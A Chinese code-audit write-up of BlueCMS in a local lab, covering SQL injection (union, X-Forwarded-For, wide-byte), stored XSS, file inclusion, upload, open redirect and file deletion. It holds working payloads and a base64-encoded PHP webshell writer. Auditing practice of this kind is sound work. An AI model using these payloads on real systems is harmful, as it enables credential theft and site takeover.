环境搭建

按理说访问网站主目录下的/install就能进入安装页面,但我访问后却显示空白,无法进行安装。经过搜索,找到了解决办法:在phpstudy设置中打开允许目录列表,并且在 \install\compile 目录下删掉%%37^37A^37A968E3%%step1.htm.php文件,再访问一次安装地址就可以了。接下来按照提示进行数据库配置即可成功搭建。

image-20210818102132490

漏洞发现

Seay源代码审计系统自动审计结果

image-20210818102733659

SQL注入

union注入

ad_js.php

定位到这里,发现$_GET['ad_id']参数除了trim去掉两边空格外没有其他的过滤,而包含的common.inc.php中对$_GET进行了addslashes过滤,但由于SQL语句中的变量没有使用单引号保护,addslashes 也就失去了作用,故存在sql注入。

1
2
3
4
5
6
7
8
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

getone函数,执行传入的sql语句

1
2
3
4
5
function getone($sql, $type=MYSQL_ASSOC){
$query = $this->query($sql,$this->linkid);
$row = mysql_fetch_array($query, $type);
return $row;
}

对提交的参数进行过滤

1
2
3
4
5
6
7
if(!get_magic_quotes_gpc())
{
$_POST = install_deep_addslashes($_POST);
$_GET = install_deep_addslashes($_GET);
$_COOKIES = install_deep_addslashes($_COOKIES);
$_REQUEST = install_deep_addslashes($_REQUEST);
}

payload

1
2
3
4
5
6
7
8
9
import requests

url="http://192.168.47.128/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(table_name) from information_schema.tables where table_schema=database()"
url="http://192.168.47.128/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x626c75655f61646d696e"
url="http://192.168.47.128/bluecms/ad_js.php?ad_id=1 union select 1,2,3,4,5,6,group_concat(admin_name,0x7e,pwd) from blue_admin"
result=requests.get(url=url).text
print(result)

#<!--document.write("admin~21232f297a57a5a743894a0e4a801fc3");-->

修复方式

把语句

1
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';

改为

1
$ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

函数intval()–> 获取变量的整数值

XFF头注入

根据自动审计结果,查看下/uploads/include/common.fun.php

image-20210818160617812

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function getip()
{
if (getenv('HTTP_CLIENT_IP'))
{
$ip = getenv('HTTP_CLIENT_IP');
}
elseif (getenv('HTTP_X_FORWARDED_FOR'))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv('HTTP_X_FORWARDED_FOR');
}
elseif (getenv('HTTP_X_FORWARDED'))
{
$ip = getenv('HTTP_X_FORWARDED');
}
elseif (getenv('HTTP_FORWARDED_FOR'))
{
$ip = getenv('HTTP_FORWARDED_FOR');
}
elseif (getenv('HTTP_FORWARDED'))
{
$ip = getenv('HTTP_FORWARDED');
}
else
{
$ip = $_SERVER['REMOTE_ADDR'];
}
return $ip;
}

$ip 的值从 HTTP_CLIENT_IP、HTTP_X_FORWARDED_FOR 等变量中获得,HTTP_CLIENT_IP 这个环境变量没有成标准,很多服务器没法获取。而第二个 HTTP_X_FORWARDED_FOR 可以通过 HTTP 请求头来修改。

全局搜索getip()这个函数

image-20210818160954245

查看comment.php发现,getip()返回值直接插入sql语句并执行,且没有任何过滤,存在sql注入

1
2
3
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')";
$db->query($sql);

在文章评论处发现content字段的值回显,可在提交评论时抓包,构造X-Forwarded-For值进行注入。先补充好原本插入语句,再构造第二次恶意的插入语句,注意单引号的闭合。

1
X-Forwarded-For: 1','1' ),("",'1','1','1','1',(database()),'1','1

相当于执行的sql语句为:

1
2
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) 
VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '1','1' ),("",'1','1','1','1',(database()),'1','1', '$is_check')";

image-20210818162716384

效果如下:

image-20210818162849575

再查看``common.inc.php`, getip()返回值赋给变量online_ip,全局搜索这个变量,发现在/guest_book.php中也是未经过滤直接插入sql语句并执行。

image-20210818165016011

1
2
3
$sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
$db->query($sql);

来到留言处进行测试,发表留言时发现无论是否留言都会弹出留言内容不能为空,修改前端代码注释掉这个函数,路径是\templates\default\guest_book.htm

image-20210818165537178

可以正常留言了,content字段有回显

image-20210818165700506

构造XXF头

1
X-Forwarded-For: 1',database())-- -

image-20210818170842340

留言如下:

image-20210818170933875

宽字节注入

在包含文件common.inc.php中注意到数据库编码方式为gb2312,这很可能导致宽字节注入。全局搜索login,在/admin/login.php中发现验证管理员登录账号密码的函数为check_admin()。找到check_admin()定义,这里的变量有单引号保护,加上$_POST变量的addslashes转义,刚好可以利用 %df 让转义的反斜线失去作用。

1
2
3
4
5
6
7
8
9
10
11
12
13
function check_admin($name, $pwd)
{
global $db;
$row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
if($row['num'] > 0)
{
return true;
}
else
{
return false;
}
}

登录处抓包(注意直接在浏览器输入 %df 会被 urlencode,所以应该抓包发送)

image-20210818173747096

存储型XSS

在 user.php 文件,用户发布新闻功能,发现 content 没有使用 htmlspecialchars() 函数,而是 filter_data(),跟踪看一下,在 /uploads/include/common.fun.php 找到函数定义代码,只过滤了 script,iframe,frame,meta,link 等,这里可以用 a,img 等标签绕过。

image-20210818174947999

1
2
3
4
5
function filter_data($str)
{
$str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
return $str;
}

payload

1
<img src="" onerror="alert(/xss/)">

抓包修改内容

image-20210818175810565

访问对应新闻页面出现弹窗

image-20210818175902312

同样在修改个人资料功能,邮箱处的填写只对格式进行了限制,没有其他过滤,xss成功

image-20210820143829292

文件包含

user.php 的支付功能,可以通过 $_POST[‘pay’] 控制文件包含的路径,但是后面拼接了 /index.php

1
2
3
4
5
6
7
8
9
10
elseif ($act == 'pay'){
include 'data/pay.cache.php';
$price = $_POST['price'];
$id = $_POST['id'];
$name = $_POST['name'];
if (empty($_POST['pay'])) {
showmsg('对不起,您没有选择支付方式');
}
include 'include/payment/'.$_POST['pay']."/index.php";
}

绕过方法

  • %00截断

    条件:magic_quotes_gpc = Off,PHP版本<5.3.4

  • 路径长度截断

    条件:windows 下目录路径最大长度为256字节,超出部分将丢弃;linux 下目录最大长度为4096字节,超出长度将丢弃;PHP版本<5.2.8

image-20210820100418279

文件上传

user.php中的个人资料处可以上传个人头像,尝试上传图片马,上传成功,判断这里没有对上传的文件进行有效过滤,查看源码发现仅对文件类型进行了过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* 上传图片
*/
function img_upload($file, $dir = '', $imgname = ''){
if(empty($dir)){
$dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/";
}else{
$dir = BLUE_ROOT.DATA.UPLOAD.$dir."/";
}
if(!in_array($file['type'],$this->allow_image_type)){
echo '<font style="color:red;">不允许的图片类型</font>';
exit;
}
if(empty($imgname)){
$imgname = $this->create_tempname().'.'.$this->get_type($file['name']);
}
if(!file_exists($dir)){
if(!mkdir($dir)){
echo '<font style="color:red;">上传过程中创建目录失败</font>';
exit;
}
}
$imgname = $dir . $imgname;

if($this->uploading($file['tmp_name'], $imgname)){
return str_replace(BLUE_ROOT, '', $imgname);
}else{
echo '<font style="color:red;">上传图片失败</font>';
exit;
}

}

文件包含图片马

image-20210820103913660

但这样后续利用不太方便,可以在图片马中插入重新写入一个马 hack.php 的代码

1
<?php @fputs(fopen(base64_decode('aGFjay5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKSA/PiA='));?>

包含后可以看到目录下成功生成木马 hack.php

image-20210820134644761

任意URL跳转

在用户登录时注意到中间有一个跳转页面

image-20210820090340618

对应的源码在user.php中,截取了相关的两行

1
2
$from = !empty($from) ? base64_decode($from) : 'user.php';
showmsg('欢迎您 '.$user_name.' 回来,现在将转到...', $from);

$from变量可以控制下一步跳转的url,且没有对此参数的过滤。

直接利用:将 https://www.baidu.com 编码为 aHR0cHM6Ly93d3cuYmFpZHUuY29t 改包放包后可以看到页面成功跳转到百度

image-20210820094557895

image-20210820094912595

任意文件删除

user.php 的编辑个人资料功能,直接调用 unlink 函数删除 $_POST[‘face_pic3’],没有进行相应的检查,存在任意文件删除漏洞

image-20210820135250596

利用一下漏洞,抓包修改 act=edit_user_info ,post 添加 face_pic3,成功删除刚才写入的木马 hack.php

image-20210820135713467

总结

这个cms问题较多发生在用户输入处,没有对其进行较好的过滤,一些变量明显没有限制到位或无限制,但它作为代码审计入门还是很友好的。以后还是得多总结,多反思,先自己审计审计,再看看别的师傅怎么审计的,不断借鉴。